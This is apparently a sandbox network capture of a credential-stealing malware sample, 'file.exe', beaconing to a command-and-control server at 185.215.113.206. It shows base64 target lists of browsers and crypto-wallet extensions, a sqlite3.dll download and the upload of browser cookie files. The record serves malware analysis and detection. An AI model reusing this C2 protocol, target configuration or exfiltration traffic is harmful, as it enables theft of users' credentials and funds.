Nov 21, 2024 19:58:17.259085894 CET	407	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:58:17 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 54 56 69 5a 47 4e 6d 4f 54 64 68 5a 54 51 30 4f 47 4a 69 5a 6a 51 31 4d 54 59 78 4d 6a 41 77 4e 54 45 31 5a 57 49 7a 4d 54 59 32 5a 44 51 78 4e 44 41 79 4f 47 59 77 4d 57 49 32 59 54 67 78 4e 44 49 7a 59 6a 56 6b 4d 57 56 6b 4d 7a 6b 77 4f 47 4e 6a 4d 7a 63 34 4d 7a 41 30 5a 47 55 32 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZTViZGNmOTdhZTQ0OGJiZjQ1MTYxMjAwNTE1ZWIzMTY2ZDQxNDAyOGYwMWI2YTgxNDIzYjVkMWVkMzkwOGNjMzc4MzA0ZGU2fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 21, 2024 19:58:17.260440111 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFBAFBKEGCFBGCBFIDAK Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 42 41 46 42 4b 45 47 43 46 42 47 43 42 46 49 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 35 62 64 63 66 39 37 61 65 34 34 38 62 62 66 34 35 31 36 31 32 30 30 35 31 35 65 62 33 31 36 36 64 34 31 34 30 32 38 66 30 31 62 36 61 38 31 34 32 33 62 35 64 31 65 64 33 39 30 38 63 63 33 37 38 33 30 34 64 65 36 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 41 46 42 4b 45 47 43 46 42 47 43 42 46 49 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 41 46 42 4b 45 47 43 46 42 47 43 42 46 49 44 41 4b 2d 2d 0d 0a Data Ascii: ------AFBAFBKEGCFBGCBFIDAKContent-Disposition: form-data; name="token"e5bdcf97ae448bbf45161200515eb3166d414028f01b6a81423b5d1ed3908cc378304de6------AFBAFBKEGCFBGCBFIDAKContent-Disposition: form-data; name="message"browsers------AFBAFBKEGCFBGCBFIDAK--
Nov 21, 2024 19:58:17.733498096 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:58:17 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 21, 2024 19:58:17.733583927 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 21, 2024 19:58:17.735291958 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFIDAFBFBKFHJJKEHIEG Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 44 41 46 42 46 42 4b 46 48 4a 4a 4b 45 48 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 35 62 64 63 66 39 37 61 65 34 34 38 62 62 66 34 35 31 36 31 32 30 30 35 31 35 65 62 33 31 36 36 64 34 31 34 30 32 38 66 30 31 62 36 61 38 31 34 32 33 62 35 64 31 65 64 33 39 30 38 63 63 33 37 38 33 30 34 64 65 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 44 41 46 42 46 42 4b 46 48 4a 4a 4b 45 48 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 44 41 46 42 46 42 4b 46 48 4a 4a 4b 45 48 49 45 47 2d 2d 0d 0a Data Ascii: ------KFIDAFBFBKFHJJKEHIEGContent-Disposition: form-data; name="token"e5bdcf97ae448bbf45161200515eb3166d414028f01b6a81423b5d1ed3908cc378304de6------KFIDAFBFBKFHJJKEHIEGContent-Disposition: form-data; name="message"plugins------KFIDAFBFBKFHJJKEHIEG--
Nov 21, 2024 19:58:18.180916071 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:58:17 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 21, 2024 19:58:18.180927992 CET	224	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdk
Nov 21, 2024 19:58:18.181040049 CET	1236	IN	Data Raw: 62 32 4e 74 59 32 4a 74 5a 6d 6c 72 5a 47 4e 76 5a 32 39 6d 63 47 68 70 62 57 35 72 62 6d 39 38 4d 58 77 77 66 44 42 38 51 58 56 79 62 79 42 58 59 57 78 73 5a 58 51 6f 54 57 6c 75 59 53 42 51 63 6d 39 30 62 32 4e 76 62 43 6c 38 59 32 35 74 59 57 Data Ascii: b2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2FsbGV0fGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHxmbHBpY2lpbGVtZ2hibWZhbGljYWpvb2x
Nov 21, 2024 19:58:18.181106091 CET	1236	IN	Data Raw: 5a 32 52 74 62 57 74 72 5a 6d 70 68 59 6d 5a 6d 5a 57 64 68 62 6d 6c 6c 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d 56 68 62 47 31 68 62 6d 52 70 61 6d Data Ascii: Z2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamt
Nov 21, 2024 19:58:18.181121111 CET	1236	IN	Data Raw: 66 44 42 38 52 6d 6c 75 62 6d 6c 6c 66 47 4e 71 62 57 74 75 5a 47 70 6f 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 41 67 56 47 56 79 63 6d 45 67 56 32 Data Ascii: fDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J
Nov 21, 2024 19:58:18.181134939 CET	1236	IN	Data Raw: 62 32 52 6f 61 57 56 76 62 58 42 6c 62 47 39 75 59 32 5a 75 59 6d 56 72 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 Data Ascii: b2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1
Nov 21, 2024 19:58:18.191566944 CET	940	IN	Data Raw: 59 57 78 73 5a 58 52 38 59 32 35 75 59 32 31 6b 61 47 70 68 59 33 42 72 62 57 70 74 61 32 4e 68 5a 6d 4e 6f 63 48 42 69 62 6e 42 75 61 47 52 74 62 32 35 38 4d 58 77 77 66 44 42 38 52 57 78 73 61 53 41 74 49 46 4e 31 61 53 42 58 59 57 78 73 5a 58 Data Ascii: YWxsZXR8Y25uY21kaGphY3BrbWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXwwfDB8VmVub20gV2FsbGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2N
Nov 21, 2024 19:58:18.202574015 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFIJJJEBGCFBGDHIDGCA Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 4a 4a 4a 45 42 47 43 46 42 47 44 48 49 44 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 35 62 64 63 66 39 37 61 65 34 34 38 62 62 66 34 35 31 36 31 32 30 30 35 31 35 65 62 33 31 36 36 64 34 31 34 30 32 38 66 30 31 62 36 61 38 31 34 32 33 62 35 64 31 65 64 33 39 30 38 63 63 33 37 38 33 30 34 64 65 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 4a 4a 45 42 47 43 46 42 47 44 48 49 44 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 4a 4a 45 42 47 43 46 42 47 44 48 49 44 47 43 41 2d 2d 0d 0a Data Ascii: ------KFIJJJEBGCFBGDHIDGCAContent-Disposition: form-data; name="token"e5bdcf97ae448bbf45161200515eb3166d414028f01b6a81423b5d1ed3908cc378304de6------KFIJJJEBGCFBGDHIDGCAContent-Disposition: form-data; name="message"fplugins------KFIJJJEBGCFBGDHIDGCA--
Nov 21, 2024 19:58:18.647478104 CET	335	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:58:18 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 21, 2024 19:58:18.665921926 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEGCBKKJDHJJJKECGIII Host: 185.215.113.206 Content-Length: 5551 Connection: Keep-Alive Cache-Control: no-cache
Nov 21, 2024 19:58:18.665956974 CET	5551	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 4b 4b 4a 44 48 4a 4a 4a 4b 45 43 47 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 35 62 64 63 66 Data Ascii: ------KEGCBKKJDHJJJKECGIIIContent-Disposition: form-data; name="token"e5bdcf97ae448bbf45161200515eb3166d414028f01b6a81423b5d1ed3908cc378304de6------KEGCBKKJDHJJJKECGIIIContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 21, 2024 19:58:19.628138065 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:58:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 21, 2024 19:58:19.986593962 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 21, 2024 19:58:20.433075905 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:58:20 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 21, 2024 19:58:20.433094025 CET	224	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Nov 21, 2024 19:58:20.436161041 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49726	185.215.113.206	80	5612	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 19:58:29.683473110 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJDBKKJKJEBFBGCBAAFI Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 44 42 4b 4b 4a 4b 4a 45 42 46 42 47 43 42 41 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 35 62 64 63 66 39 37 61 65 34 34 38 62 62 66 34 35 31 36 31 32 30 30 35 31 35 65 62 33 31 36 36 64 34 31 34 30 32 38 66 30 31 62 36 61 38 31 34 32 33 62 35 64 31 65 64 33 39 30 38 63 63 33 37 38 33 30 34 64 65 36 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 42 4b 4b 4a 4b 4a 45 42 46 42 47 43 42 41 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 42 4b 4b 4a 4b 4a 45 42 46 42 47 43 42 41 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------IJDBKKJKJEBFBGCBAAFIContent-Disposition: form-data; name="token"e5bdcf97ae448bbf45161200515eb3166d414028f01b6a81423b5d1ed3908cc378304de6------IJDBKKJKJEBFBGCBAAFIContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------IJDBKKJKJEBFBGCBAAFIContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------IJDBKKJKJEBFBGCBAAFI--
Nov 21, 2024 19:58:31.637463093 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:58:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
